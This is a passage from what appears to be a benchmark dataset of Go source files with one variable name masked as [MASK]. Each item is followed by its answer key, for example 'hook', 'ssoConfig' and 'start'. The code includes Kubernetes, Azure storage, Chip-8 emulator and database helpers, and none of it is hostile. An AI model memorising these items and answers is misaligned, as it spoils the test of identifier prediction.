userIdToPhone := make(map[string]string) for _, currUser := range users { userIdToPhone[currUser.Id] = currUser.Phone } participantIdToPhone := make(map[string]string) for _, currVolunteer := range volunteers { currPhone, ok := userIdToPhone[currVolunteer.UserId] if ok { participantIdToPhone[currVolunteer.UserId] = currPhone } else { msg := fmt.Sprintf(""volunteer '%s' not found in datastore"", currVolunteer.UserId) logrus.Error(msg) return nil, errors.New(msg) } } return participantIdToPhone, nil } ",wac 309,"package plugin import ( ""bytes"" ""fmt"" ""github.com/spf13/cobra"" ""gopkg.in/yaml.v2"" ""io/ioutil"" ""os"" ""os/exec"" ""path/filepath"" ""strings"" ""text/template"" ) type DistroConfig struct { Plugins []Plugin `yaml:""plugins""` } func NewDistroGenerateCmd() *cobra.Command { var config string var generateCmd = &cobra.Command{ Use: ""distro"", Short: ""Generate required files to build `kn` with inline plugins."", RunE: func(cmd *cobra.Command, args []string) error { if _, err := os.Stat(config); os.IsNotExist(err) { return fmt.Errorf(""kn distro configuration file '%s' doesn't exist"", config) } if _, err := os.Stat(""cmd/kn/main.go""); os.IsNotExist(err) { return fmt.Errorf(""cmd/kn/main.go doesn't exist, make sure the command is executed in knative/client root directory"") } fmt.Println(""Generating customized kn distro:"") registerFile := filepath.Join(""pkg"", ""kn"", ""root"", ""plugin_register.go"") if _, err := os.Stat(registerFile); !os.IsNotExist(err) { fmt.Println(""⚠️ plugin_register.go file already exists, trying to append imports"") } rawConf, err := ioutil.ReadFile(config) if err != nil { return err } conf := &DistroConfig{} if err := yaml.Unmarshal(rawConf, conf); err != nil { return err } fmt.Println(""✔ config file '"" + config + ""' processed"") for _, p := range conf.Plugins { importPath := p.PluginImportPath if importPath == """" { importPath = p.Module + ""/plugin"" } if err := AppendImport(registerFile, importPath); err != nil { return err } _, err := exec.Command(""go"", ""mod"", ""edit"", ""-require"", p.Module+""@""+p.Version).Output() if err != nil { return fmt.Errorf(""go mod edit -require failed: %s"", err.Error()) } fmt.Println(""✔ go.mod require updated"") if len(p.Replace) > 0 { for _, r := range p.Replace { _, err := exec.Command(""go"", ""mod"", ""edit"", ""-replace"", r.Module+""=""+r.Module+""@""+r.Version).Output() if err != nil { return fmt.Errorf(""go mod edit -replace failed: %s"", err.Error()) } fmt.Println(""✔ go.mod replace updated"") } } } if err := exec.Command(""gofmt"", ""-s"", ""-w"", registerFile).Run(); err != nil { return fmt.Errorf(""gofmt failed: %s"", err.Error()) } return nil }, } generateCmd.Flags().StringVarP(&config, ""config"", ""c"", "".kn.yaml"", ""Path to `kn.yaml` config file"") return generateCmd } func AppendImport(file, importPath string) error { if _, err := os.Stat(file); os.IsNotExist(err) { f, err := os.Create(file) if err != nil { return err } t, err := template.New(""register"").Parse(registerTemplate) if err != nil { return err } fmt.Println(""✔ "" + importPath + "" added to plugin_register.go"") return t.Execute(f, importPath) } content, err := ioutil.ReadFile(file) if err != nil { return err } if strings.Contains(string(content), importPath) { fmt.Println(""⚠️ "" + importPath + "" is already present, no changes made"") return nil } [MASK] := ""// Add #plugins# import here. Don't remove this line, it triggers an automatic replacement."" content = bytes.Replace(content, []byte( [MASK] ), []byte(fmt.Sprintf(""%s\n _ \""%s\"""", [MASK] , importPath)), 1) fmt.Println(""✔ "" + importPath + "" added to plugin_register.go"") return ioutil.WriteFile(file, content, 644) } var registerTemplate = ` // Copyright © 2020 The OpenShift Knative Authors // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package root import ( // Add #plugins# import here. Don't remove this line, it triggers an automatic replacement. _ ""{{.}}"" ) // RegisterInlinePlugins is an empty function which however forces the // compiler to run all init() methods of the registered imports func RegisterInlinePlugins() {}` ",hook 310,"/* Copyright 2017 Google Inc. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at https://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package gnmi import ( ""errors"" ""fmt"" ""reflect"" ""sort"" ""github.com/openconfig/goyang/pkg/yang"" ""github.com/openconfig/ygot/ygot"" ""github.com/openconfig/ygot/ytypes"" pb ""github.com/openconfig/gnmi/proto/gnmi"" ) // JSONUnmarshaler is the signature of the Unmarshal() function in the GoStruct code generated by openconfig ygot library. type JSONUnmarshaler func([]byte, ygot.GoStruct, ...ytypes.UnmarshalOpt) error // GoStructEnumData is the data type to maintain GoStruct enum type. type GoStructEnumData map[string]map[int64]ygot.EnumDefinition // Model contains the model data and GoStruct information for the device to config. type Model struct { modelData []*pb.ModelData structRootType reflect.Type schemaTreeRoot *yang.Entry jsonUnmarshaler JSONUnmarshaler enumData GoStructEnumData } // NewModel returns an instance of Model struct. func NewModel(m []*pb.ModelData, t reflect.Type, r *yang.Entry, f JSONUnmarshaler, e GoStructEnumData) *Model { return &Model{ modelData: m, structRootType: t, schemaTreeRoot: r, jsonUnmarshaler: f, enumData: e, } } func (m *Model) newRootValue() interface{} { return reflect.New(m.structRootType.Elem()).Interface() } // NewConfigStruct creates a ValidatedGoStruct of this model from jsonConfig. If jsonConfig is nil, creates an empty GoStruct. func (m *Model) NewConfigStruct(jsonConfig []byte) (ygot.ValidatedGoStruct, error) { [MASK] , ok := m.newRootValue().(ygot.ValidatedGoStruct) if !ok { return nil, errors.New(""root node is not a ygot.ValidatedGoStruct"") } if jsonConfig != nil { if err := m.jsonUnmarshaler(jsonConfig, [MASK] ); err != nil { return nil, err } if err := [MASK] .Validate(); err != nil { return nil, err } } return [MASK] , nil } // SupportedModels returns a list of supported models. func (m *Model) SupportedModels() []string { mDesc := make([]string, len(m.modelData)) for i, m := range m.modelData { mDesc[i] = fmt.Sprintf(""%s %s"", m.Name, m.Version) } sort.Strings(mDesc) return mDesc } ",rootStruct 311,"package controllers import ( ""k8s.io/client-go/dynamic"" ctrl ""sigs.k8s.io/controller-runtime"" ""sigs.k8s.io/controller-runtime/pkg/client/apiutil"" ""sigs.k8s.io/kustomize/api/krusty"" ""sigs.k8s.io/kustomize/kyaml/filesys"" ""github.com/angelokurtis/configmap-generator/internal/client"" ""github.com/angelokurtis/configmap-generator/internal/kustomize"" ""github.com/angelokurtis/configmap-generator/internal/manifest"" ""github.com/angelokurtis/configmap-generator/internal/object"" ""github.com/angelokurtis/configmap-generator/pkg/handler"" ""github.com/angelokurtis/configmap-generator/pkg/transformer"" ) func SetupWithManager(mgr ctrl.Manager) error { [MASK] , err := apiutil.NewDynamicRESTMapper(mgr.GetConfig()) if err != nil { return err } configMapGeneratorHandler := ConfigMapGeneratorHandler{ SourceFromGitRepository: handler.NewSourceFromGitRepository( client.NewGitRepository(mgr.GetClient()), &client.Artifact{}, ), ConfigmapCreation: handler.NewConfigMapCreation( kustomize.NewClient( filesys.MakeFsOnDisk(), krusty.MakeKustomizer(krusty.MakeDefaultOptions()), manifest.NewReader( dynamic.NewForConfigOrDie(mgr.GetConfig()), [MASK] , ), ), transformer.NewBuilder(object.NewReference(mgr.GetScheme())), ), } return NewConfigMapGeneratorReconciler(mgr.GetClient(), configMapGeneratorHandler).SetupWithManager(mgr) } ",dynamicRESTMapper 312,"package azure_client import ( ""errors"" ""fmt"" ""net/http"" ""strings"" ""github.com/Azure/azure-sdk-for-go/arm/resources"" ""github.com/Azure/azure-sdk-for-go/arm/storage"" storageclient ""github.com/Azure/azure-sdk-for-go/storage"" ""github.com/Azure/go-autorest/autorest"" ""github.com/Azure/go-autorest/autorest/azure"" ) const ( RESOURCE_GROUP_NAME_PREFIX = ""cloud-foundry-"" STORAGE_ACCOUNT_NAME_PREFIX = ""cf"" CONTAINER_NAME_PREFIX = ""cloud-foundry-"" LOCATION = ""westus"" ) type Client interface { CreateInstance(instanceId string, parameters interface{}) (string, string, error) GetInstanceState(resourceGroupName, storageAccountName string) (storage.ProvisioningState, error) GetAccessKeys(resourceGroupName, storageAccountName, containerName string, containerAccessType storageclient.ContainerAccessType) (string, string, string, error) DeleteInstance(resourceGroupName, storageAccountName string) error RegenerateAccessKeys(resourceGroupName, storageAccountName string) error } type AzureClient struct { ResourceManagementClient *resources.ResourceGroupsClient StorageAccountsClient *storage.StorageAccountsClient } func NewClient() *AzureClient { c, err := LoadAzureCredentials() if err != nil { fmt.Printf(""Error: %v\n"", err) return nil } spt, err := NewServicePrincipalTokenFromCredentials(c, azure.AzureResourceManagerScope) if err != nil { fmt.Printf(""Error: %v\n"", err) return nil } rmc := resources.NewResourceGroupsClient(c[""subscriptionID""]) rmc.Authorizer = spt rmc.PollingMode = autorest.DoNotPoll sac := storage.NewStorageAccountsClient(c[""subscriptionID""]) sac.Authorizer = spt sac.PollingMode = autorest.DoNotPoll return &AzureClient{ ResourceManagementClient: &rmc, StorageAccountsClient: &sac, } } func (c *AzureClient) CreateInstance(instanceId string, parameters interface{}) (string, string, error) { var resourceGroupName, storageAccountName, location string var accountType storage.AccountType switch parameters.(type) { case map[string]interface{}: param := parameters.(map[string]interface{}) if param[""resource_group_name""] != nil { resourceGroupName = param[""resource_group_name""].(string) } else { resourceGroupName = RESOURCE_GROUP_NAME_PREFIX + instanceId } if param[""location""] != nil { location = param[""location""].(string) } else { location = LOCATION } if param[""account_type""] != nil { accountType = storage.AccountType(param[""account_type""].(string)) } else { accountType = storage.StandardLRS } default: resourceGroupName = RESOURCE_GROUP_NAME_PREFIX + instanceId location = LOCATION accountType = storage.StandardLRS } err := c.createResourceGroup(resourceGroupName, location) if err != nil { fmt.Printf(""Creating resource group %s failed with error:\n%v\n"", resourceGroupName, err) return """", """", err } storageAccountName = STORAGE_ACCOUNT_NAME_PREFIX + strings.Replace(instanceId, ""-"", """", -1)[0:22] err = c.createStorageAccount(resourceGroupName, storageAccountName, location, accountType) if err != nil { fmt.Printf(""Creating storage account %s.%s failed with error:\n%v\n"", resourceGroupName, storageAccountName, err) return """", """", err } return resourceGroupName, storageAccountName, nil } func (c *AzureClient) GetInstanceState(resourceGroupName, storageAccountName string) (storage.ProvisioningState, error) { sa, err := c.StorageAccountsClient.GetProperties(resourceGroupName, storageAccountName) if err != nil { fmt.Printf(""Getting instance state failed with error:\n%v\n"", err) return """", err } return sa.Properties.ProvisioningState, nil } func (c *AzureClient) GetAccessKeys(instanceId, resourceGroupName, storageAccountName string, containerAccessType storageclient.ContainerAccessType) (string, string, string, error) { keys, err1 := c.StorageAccountsClient.ListKeys(resourceGroupName, storageAccountName) if err1 != nil { fmt.Printf(""Getting access keys of %s.%s failed with error:\n%v\n"", resourceGroupName, storageAccountName, err1) return """", """", """", err1 } containerName := CONTAINER_NAME_PREFIX + instanceId err2 := c.createContainer(storageAccountName, keys.Key1, containerName, containerAccessType) if err2 != nil { fmt.Printf(""Creating storage container %s.%s.%s failed with error:\n%v\n"", resourceGroupName, storageAccountName, containerName, err2) return """", """", """", err2 } return keys.Key1, keys.Key2, containerName, nil } func (c *AzureClient) DeleteInstance(resourceGroupName, storageAccountName string) error { r, err := c.StorageAccountsClient.Delete(resourceGroupName, storageAccountName) if err != nil { fmt.Printf(""Deleting of %s.%s failed with status %s\n...%v\n"", resourceGroupName, storageAccountName, r.Status, err) return err } fmt.Printf(""Deleting of %s.%s succeeded\n"", resourceGroupName, storageAccountName) return nil } func (c *AzureClient) RegenerateAccessKeys(resourceGroupName, storageAccountName string) error { _, err := c.StorageAccountsClient.RegenerateKey(resourceGroupName, storageAccountName, storage.StorageAccountRegenerateKeyParameters{ KeyName: storage.Key1}) if err != nil { fmt.Printf(""Regenerating primary access key of %s.%s failed with error:\n%v\n"", resourceGroupName, storageAccountName, err) return err } _, err = c.StorageAccountsClient.RegenerateKey(resourceGroupName, storageAccountName, storage.StorageAccountRegenerateKeyParameters{ KeyName: storage.Key2}) if err != nil { fmt.Printf(""Regenerating secondary access key of %s.%s failed with error:\n%v\n"", resourceGroupName, storageAccountName, err) return err } return nil } func (c *AzureClient) createResourceGroup(resourceGroupName, location string) error { rg := resources.ResourceGroup{} rg.Location = location resourceGroup, err := c.ResourceManagementClient.CreateOrUpdate(resourceGroupName, rg) if err != nil { statusCode := resourceGroup.Response.StatusCode if statusCode != http.StatusAccepted && statusCode != http.StatusCreated { fmt.Printf(""Creating resource group %s failed\n"", resourceGroupName) return err } } fmt.Printf(""Creation initiated %s\n"", resourceGroupName) return nil } func (c *AzureClient) createStorageAccount(resourceGroupName, storageAccountName, location string, accountType storage.AccountType) error { [MASK] , err := c.StorageAccountsClient.CheckNameAvailability( storage.StorageAccountCheckNameAvailabilityParameters{ Name: storageAccountName, Type: ""Microsoft.Storage/storageAccounts""}) if err != nil { fmt.Printf(""Error: %v"", err) return err } if ! [MASK] .NameAvailable { fmt.Printf(""%s is unavailable -- try again\n"", storageAccountName) return errors.New(storageAccountName + "" is unavailable"") } fmt.Printf(""Storage account name %s is available\n"", storageAccountName) cp := storage.StorageAccountCreateParameters{} cp.Location = location cp.Properties.AccountType = accountType sa, err := c.StorageAccountsClient.Create(resourceGroupName, storageAccountName, cp) if err != nil { if sa.Response.StatusCode != http.StatusAccepted { fmt.Printf(""Creation of %s.%s failed"", resourceGroupName, storageAccountName) return err } } fmt.Printf(""Creation initiated %s.%s\n"", resourceGroupName, storageAccountName) return nil } func (c *AzureClient) createContainer(storageAccountName, primaryAccessKey, containerName string, containerAccessType storageclient.ContainerAccessType) error { storageClient, err1 := storageclient.NewBasicClient(storageAccountName, primaryAccessKey) if err1 != nil { fmt.Println(""Creating storage client failed"") return err1 } blobStorageClient := storageClient.GetBlobService() ok, err2 := blobStorageClient.CreateContainerIfNotExists(containerName, containerAccessType) if err2 != nil { fmt.Println(""Creating storage container failed"") return err2 } if !ok { fmt.Println(""Storage container already existed"") } return nil } ",cna 313,"package rofi import ( ""fmt"" ""github.com/Dnnd/sway-menus/dmenu"" ""io"" ""os/exec"" ""strconv"" ""strings"" ) type ErrRofiFailed struct { Output string Cause error } type ShowMenuWithRofi struct{} type MenuFactory struct{} const Executable = ""rofi"" func (f MenuFactory) NewMenuPresenter() dmenu.MenuPresenter { return &ShowMenuWithRofi{} } func (e *ErrRofiFailed) Error() string { return fmt.Sprintf(""rofi failed: %s"", e.Output) } func (w ShowMenuWithRofi) Show(data dmenu.MenuData) (int, error) { cmd := exec.Command(Executable, ""-dmenu"", ""-l"", strconv.Itoa(data.TotalLines()), ""-i"", ""-format"", ""i"", ""-no-custom"") in, err := cmd.StdinPipe() if err != nil { return 0, err } go func() { defer in.Close() io.WriteString(in, data.AsString()) }() out, err := cmd.CombinedOutput() if err != nil { return 0, &ErrRofiFailed{Output: string(out), Cause: err} } [MASK] , err := strconv.Atoi(strings.Trim(string(out), ""\n"")) return [MASK] , nil } ",entryNum 314,"// Written by pricees, inspired by Great Code Club package vm import ( ""fmt"" ""math/rand"" ""time"" ) type VM struct { display *Display cpuSpeed int // hertz stack []int // TODO: Find size of Chip-8 stack running bool // 4KB of memory memory [4096]uint8 // Registers V [16]uint8 // Vx: 16 generate purpose 8-bit registers I int // 16-bit register, for storing addresses // Program counter, start at 0x200 pc int } func (vm *VM) LoadProgram(data []uint8) { for i, val := range data { // Program starts are 0x200 offset vm.memory[0x200+i] = val } } func (vm *VM) Step() int { // Read the instructions at `pc`. Instructions are 2 bytes long. instruction := (uint16(vm.memory[vm.pc]) << 8) + uint16(vm.memory[vm.pc+1]) // Move to next instruction vm.pc += 2 // Extract common operands. tmp_inst := int(instruction) x := (tmp_inst & 0x0F00) >> 8 y := (tmp_inst & 0x00F0) >> 4 kk := uint8(tmp_inst & 0x00FF) nnn := tmp_inst & 0x0FFF n := tmp_inst & 0x000F // Inspect the first nibble, the opcode. // A case for each type of instruction fmt.Printf(""tmp_inst: %x * 0xF000 = %x\n"", tmp_inst, tmp_inst&0xF000) switch tmp_inst & 0xF000 { case 0x000: { switch tmp_inst { case 0x00EE: // `00EE` - Return from a subroutine // pop stack new_pc, err := vm.StackPop() if !err { vm.pc = new_pc } break case 0x00E0: vm.DisplayClear() break } break } case 0x1000: // 1nnn - Jump to location nnn. vm.pc = nnn case 0x2000: fmt.Printf(""Pushing on the stack %x"", vm.pc) vm.StackPush(vm.pc) vm.pc = nnn break case 0x3000: // 3xkk - Skip next instruction if Vx = kk. if vm.V[x] == kk { vm.pc += 2 // an instruction is 2 bytes } break case 0x4000: // 4xkk - Skip next instruction if Vx != kk if vm.V[x] != kk { vm.pc += 2 } break case 0x6000: // 6xkk - Set Vx = kk. vm.V[x] = kk break case 0x7000: // 7xkk - Set Vx = Vx + kk. vm.V[x] = vm.V[x] + kk break case 0xA000: // Annn - Set I = nnn. vm.I = nnn break case 0xC000: // Cxkk - Set Vx = random byte AND kk. vm.V[x] = uint8(rand.Intn(0xFF+1)) & kk break case 0xD000: // Dxyn - Display n-byte sprite starting at memory location I at (Vx, Vy), set VF = collision. collision := vm.DrawSprite(vm.V[x], vm.V[y], vm.I, n) // VF is set to 1 if there is a collision. if collision { vm.V[0xF] = 1 } else { vm.V[0xF] = 0 } break case 0xF000: // `Fx1E` - Set I = I + Vx vm.I += int(vm.V[x]) break default: //FIXME: put a panic here, or something break } return vm.pc } func (vm *VM) StackPush(val int) int { vm.stack = append(vm.stack, val) return len(vm.stack) } func (vm *VM) StackPop() (int, bool) { size := len(vm.stack) [MASK] := 0 err := false if size > 0 { [MASK] = vm.stack[size-1] vm.stack = vm.stack[:size-1] } else { err = true } return [MASK] , err } func (vm *VM) DrawSprite(x uint8, y uint8, address int, nbytes int) bool { collision := false for line := 0; line < nbytes; line++ { // Walk the horizontal lines (Y) bits := vm.memory[address+line] // Get the sprite line bits to for bit := 7; bit >= 0; bit-- { // Walk the bits on the line (X), // Starting form the last bit (left) if bits&1 > 0 { if !vm.display.XorPixel(int(x)+bit, int(y)+bit) { collision = true } } bits >>= 1 } } return collision } func (vm *VM) DisplayClear() bool { return true } func NewVM() *VM { return &VM{display: NewDisplay(), pc: 0x200, stack: make([]int, 0, 80), cpuSpeed: 100, running: false} } func (vm *VM) Run() { //interval := 1000 / vm.cpuSpeed vm.running = true go func() { for { if vm.running { vm.Step() time.Sleep(100 * time.Millisecond) } else { time.Sleep(1 * time.Second) } } }() } func (vm *VM) Stop() { vm.running = false } ",ret_val 315,"package models import ( ""fmt"" ""github.com/astaxie/beego"" ""github.com/Unknwon/gowalker/utils"" _ ""github.com/go-sql-driver/mysql"" ""github.com/go-xorm/core"" ""github.com/go-xorm/xorm"" ""reflect"" ""strings"" ) var ( orm *xorm.Engine tables []interface{} ) func InitDB() (err error) { utils.LoadConfig(""./conf/app.conf"") dbtype := utils.Cfg.MustValue(""db"", ""dbtype"") host := utils.Cfg.MustValue(""db"", ""host"") port := utils.Cfg.MustValue(""db"", ""port"") name := utils.Cfg.MustValue(""db"", ""name"") user := utils.Cfg.MustValue(""db"", ""user"") pwd := utils.Cfg.MustValue(""db"", ""pwd"") ssl := utils.Cfg.MustValue(""db"", ""ssl"") switch dbtype { case ""mysql"": connstr := fmt.Sprintf(""%s:%s@tcp(%s:%s)/%s?charset=utf8"", user, pwd, host, port, name) fmt.Errorf(connstr) orm, err = xorm.NewEngine(""mysql"", connstr) if err != nil { beego.Debug(fmt.Sprintf(""Failed to create new engine : %v\n"", err)) } case ""postgres"": [MASK] := fmt.Sprintf(""user=%s password=%s host=%s port=%s dbname=%s sslmode=%s"", user, pwd, host, port, name, ssl) orm, err = xorm.NewEngine(""postgres"", [MASK] ) default: beego.Debug(fmt.Sprintf(""Unknown db type: %s\n"", dbtype)) return fmt.Errorf(""Unknown db type: %s\n"", dbtype) } if err != nil { beego.Debug(fmt.Sprintf(""models.init(failed to connect database): %v\n"", err)) return fmt.Errorf(""models.init(failed to connect database): %v\n"", err) } // orm.ShowSQL = true // orm.ShowInfo = true // orm.ShowDebug = true orm.ShowWarn = true orm.ShowErr = true orm.SetMapper(core.SameMapper{}) fmt.Println(""InitDB() success!"") // return orm.Sync(tables...) err = orm.Sync(new(StockCompany), new(StockDay), new(StockMonth), new(StockWeek), new(StockYear)) if err != nil { fmt.Println(""Failed to Sync()!"") } return } func GetEngine() *xorm.Engine { return orm } func SetCacher() { cacher := xorm.NewLRUCacher(xorm.NewMemoryStore(), 5000) orm.SetDefaultCacher(cacher) // cacher := xorm.NewLRUCacher(xorm.NewMemoryStore(), 1000) // engine.MapCacher(&user, cacher) } // Convert fields of a struct into an array func GetFieldsArray(obj interface{}) []string { var ret []string typ := reflect.TypeOf(obj) for i := 0; i < typ.NumField(); i++ { ret = append(ret, typ.Field(i).Name) } return ret } // Convert fields of a struct into a string func GetFieldsString(obj interface{}) string { var ret []string typ := reflect.TypeOf(obj) for i := 0; i < typ.NumField(); i++ { ret = append(ret, typ.Field(i).Name) } return strings.Join(ret, "" "") } ",cnnstr 316,"package main import ( ""flag"" ""fmt"" ""log"" ""os"" ""sync"" ""time"" ""crypto"" _ ""crypto/md5"" _ ""crypto/sha1"" _ ""crypto/sha256"" _ ""crypto/sha512"" ""github.com/mikemrm/recsum"" ) var ( logger = log.New(os.Stderr, """", 0) output = flag.String(""o"", ""-"", ""Output file path"") hash = flag.String(""h"", ""sha256"", ""Hash algorithm to use [md5, sha1, sha256, sha512]"") workers = flag.Int(""w"", 3, ""Simultaneous workers"") verbose = flag.Bool(""v"", false, ""Verbose"") ) func determineHash(h string) (crypto.Hash, error) { switch h { case ""md5"": return crypto.MD5, nil case ""sha1"": return crypto.SHA1, nil case ""sha256"": return crypto.SHA256, nil case ""sha512"": return crypto.SHA512, nil } return 0, fmt.Errorf(""Unknown hash '%s'"", h) } func main() { flag.Usage = func() { fmt.Fprintf(os.Stderr, ""Usage: %s [OPTIONS] FILE...\n"", os.Args[0]) fmt.Fprintf(os.Stderr, ""version: %s\n\n"", recsum.Version) fmt.Fprintf(os.Stderr, ""recsum is a tool for recursively generating hash sums\n\n"") flag.PrintDefaults() } flag.Parse() if flag.NArg() == 0 { flag.Usage() os.Exit(1) } var err error h, err := determineHash(*hash) if err != nil { logger.Printf(""%s"", err) flag.Usage() os.Exit(1) } var file *os.File if *output != ""-"" { file, err = os.Create(*output) if err != nil { panic(err) } defer file.Close() } outch := make(chan *recsum.HashResult, 1) var wg sync.WaitGroup wg.Add(1) go func() { defer wg.Done() for result := range outch { if result.Error == nil { if *output == ""-"" { fmt.Printf(""%s %s\n"", result.Hash, result.Path) } else { fmt.Fprintf(file, ""%s %s\n"", result.Hash, result.Path) } } else { logger.Printf(""%s failed with error '%s'\n"", result.Path, result.Error) } if *verbose { logger.Printf(""%s completed in %s\n"", result.Path, result.End.Sub(result.Start)) } } }() [MASK] := time.Now().UTC() paths := flag.Args() for _, path := range paths { recursor, err := recsum.New(path, h, outch, *workers) if err != nil { panic(err) } if err = recursor.Walk(); err != nil { panic(err) } } close(outch) wg.Wait() end := time.Now().UTC() if *output != ""-"" { logger.Printf(""Output written to '%s'\n"", *output) } if *verbose || *output != ""-"" { logger.Printf(""Completed in %s\n"", end.Sub( [MASK] )) } } ",start 317,"package main import ( ""flag"" ""fmt"" ""io"" ""log"" ""os"" ""strings"" ""github.com/galleybytes/infrakube-stella/pkg/api"" ""github.com/galleybytes/infrakube-stella/pkg/common/db"" ""github.com/spf13/pflag"" ""github.com/spf13/viper"" ""gorm.io/gorm"" ""k8s.io/client-go/kubernetes"" ""k8s.io/client-go/rest"" ""k8s.io/client-go/tools/clientcmd"" ""k8s.io/klog/v2"" ) var ( addr string dbURL string ssoLoginURL string samlIssuer string samlRecipient string samlMetadataURL string useServiceHost bool serviceName string dashboard string fswatchImage string ) func main() { viper.SetConfigFile(""./pkg/common/envs/.env"") viper.ReadInConfig() viper.SetEnvKeyReplacer(strings.NewReplacer(""-"", ""_"")) viper.AutomaticEnv() klog.InitFlags(nil) pflag.CommandLine.AddGoFlag(flag.CommandLine.Lookup(""v"")) pflag.CommandLine.AddGoFlag(flag.CommandLine.Lookup(""logtostderr"")) pflag.CommandLine.Set(""logtostderr"", ""true"") pflag.StringVar(&addr, ""addr"", """", ""Address to expose the API on"") viper.BindPFlag(""addr"", pflag.Lookup(""addr"")) pflag.StringVar(&dbURL, ""db-url"", """", ""Database url format (Example: 'postgres://user:password@srv:5432/db')"") viper.BindPFlag(""db-url"", pflag.Lookup(""db-url"")) pflag.StringVar(&ssoLoginURL, ""sso-login-url"", """", ""IDP Login URL "") viper.BindPFlag(""sso-login-url"", pflag.Lookup(""sso-login-url"")) pflag.StringVar(&samlIssuer, ""saml-issuer"", """", ""Identity Provider (IDP) Issuer"") viper.BindPFlag(""saml-issuer"", pflag.Lookup(""saml-issuer"")) pflag.StringVar(&samlRecipient, ""saml-recipient"", """", ""Service Provider"") viper.BindPFlag(""saml-recipient"", pflag.Lookup(""saml-recipient"")) pflag.StringVar(&samlMetadataURL, ""saml-metadata-url"", """", ""IDP Metadata URL"") viper.BindPFlag(""saml-metadata-url"", pflag.Lookup(""saml-metadata-url"")) pflag.BoolVar(&useServiceHost, ""use-service-host"", false, ""Auto detect the ClusterIP of service for callback"") viper.BindPFlag(""use-service-host"", pflag.Lookup(""use-service-host"")) pflag.StringVar(&serviceName, ""service-name"", """", ""When `--use-service-host` will looup clusterIP of service"") viper.BindPFlag(""service-name"", pflag.Lookup(""service-name"")) pflag.StringVar(&dashboard, ""dashboard"", """", ""Connect to the dashboard with api credentials"") viper.BindPFlag(""dashboard"", pflag.Lookup(""dashboard"")) pflag.StringVar(&fswatchImage, ""fswatch-image"", ""ghcr.io/galleybytes/fswatch:1.0.0-dev.1"", ""Docker image for fswatch (log-service)"") viper.BindPFlag(""fswatch-image"", pflag.Lookup(""fswatch-image"")) pflag.Parse() pflag.Set(""alsologtostderr"", ""false"") pflag.Set(""logtostderr"", ""false"") // goflag.Parse() klog.SetOutput(io.Discard) klog.Info(""Don't show this log"") klog.Warning(""Don't show this warning"") addr = viper.GetString(""addr"") dbURL = viper.GetString(""db-url"") ssoLoginURL = viper.GetString(""sso-login-url"") samlIssuer = viper.GetString(""saml-issuer"") samlRecipient = viper.GetString(""saml-recipient"") samlMetadataURL = viper.GetString(""saml-metadata-url"") useServiceHost = viper.GetBool(""use-service-host"") serviceName = viper.GetString(""service-name"") dashboard = viper.GetString(""dashboard"") fswatchImage = viper.GetString(""fswatch-image"") clientset := kubernetes.NewForConfigOrDie(NewConfigOrDie(os.Getenv(""KUBECONFIG""))) var database *gorm.DB if dbURL != """" { database = db.Init(dbURL) } if addr == """" { addr = "":3000"" } [MASK] , err := api.NewSAMLConfig(samlIssuer, samlRecipient, samlMetadataURL) if err != nil { log.Fatal(err) } if [MASK] != nil { [MASK] .URL = ssoLoginURL } var serviceIP string if useServiceHost { s := strings.ReplaceAll(strings.ToUpper(serviceName), ""-"", ""_"") serviceIP = os.Getenv(fmt.Sprintf(""%s_SERVICE_HOST"", s)) servicePort := os.Getenv(fmt.Sprintf(""%s_SERVICE_PORT"", s)) if servicePort != """" { serviceIP += "":"" + servicePort } } apiHandler := api.NewAPIHandler(database, clientset, [MASK] , &serviceIP, &dashboard, fswatchImage) apiHandler.RegisterRoutes() fmt.Printf(""Starting server on %s\n"", addr) apiHandler.Server.Run(addr) } func NewConfigOrDie(kubeconfigPath string) *rest.Config { config, err := clientcmd.BuildConfigFromFlags("""", kubeconfigPath) if err != nil { log.Fatal(""Failed to get config for clientset"") } return config } ",ssoConfig 318,"package core import ( ""context"" ""testing"" ""github.com/stretchr/testify/assert"" ""github.com/stretchr/testify/require"" corev1 ""k8s.io/api/core/v1"" apierrors ""k8s.io/apimachinery/pkg/api/errors"" ""k8s.io/apimachinery/pkg/types"" ""sigs.k8s.io/controller-runtime/pkg/client"" ) func checkNamespacesForConfigMap(t *testing.T, client client.Client, [MASK] , configMapKey string, configMapData map[string]string) { t.Helper() var namespaceList corev1.NamespaceList err := client.List(context.Background(), &namespaceList) assert.NoError(t, err) var foundInjectedNamespace bool for _, namespace := range namespaceList.Items { t.Logf(""Checking namespace: %s"", namespace.Name) configMap, hasConfigMap := namespaceHasConfigMap(t, client, namespace.Name, configMapKey, configMapData) if namespace.Name != [MASK] { require.Falsef(t, hasConfigMap, ""namespace '%s' contains a config map and shouldn't"", namespace.Name) continue } foundInjectedNamespace = true require.Truef(t, hasConfigMap, ""namespace '%s' is missing a config map"", namespace.Name) assert.Equalf(t, configMapData, configMap.Data, ""namespace '%s' has the configmap but the data is wrong"", namespace.Name) } if !foundInjectedNamespace { t.Fatalf(""injected namespace not found"") } } func namespaceHasConfigMap(t *testing.T, client client.Client, namespace, configMap string, configMapData map[string]string) (corev1.ConfigMap, bool) { t.Helper() fetched := &corev1.ConfigMap{} err := client.Get(context.Background(), types.NamespacedName{ Namespace: namespace, Name: configMap, }, fetched) if err != nil { if apierrors.IsNotFound(err) { return corev1.ConfigMap{}, false } assert.NoError(t, err) } return *fetched, true } ",injectedNamespace 319,"// // File: parser.go // Project: prattparser // File Created: 2024-08-01 // Author: xiaoma20082008 () // // ------------------------------------------------------------------------ // Last Modified At: 2024-08-01 11:11:22 // Last Modified By: xiaoma20082008 (>) // ------------------------------------------------------------------------ // // Copyright (C) xiaoma20082008. All rights reserved. // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // https://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF 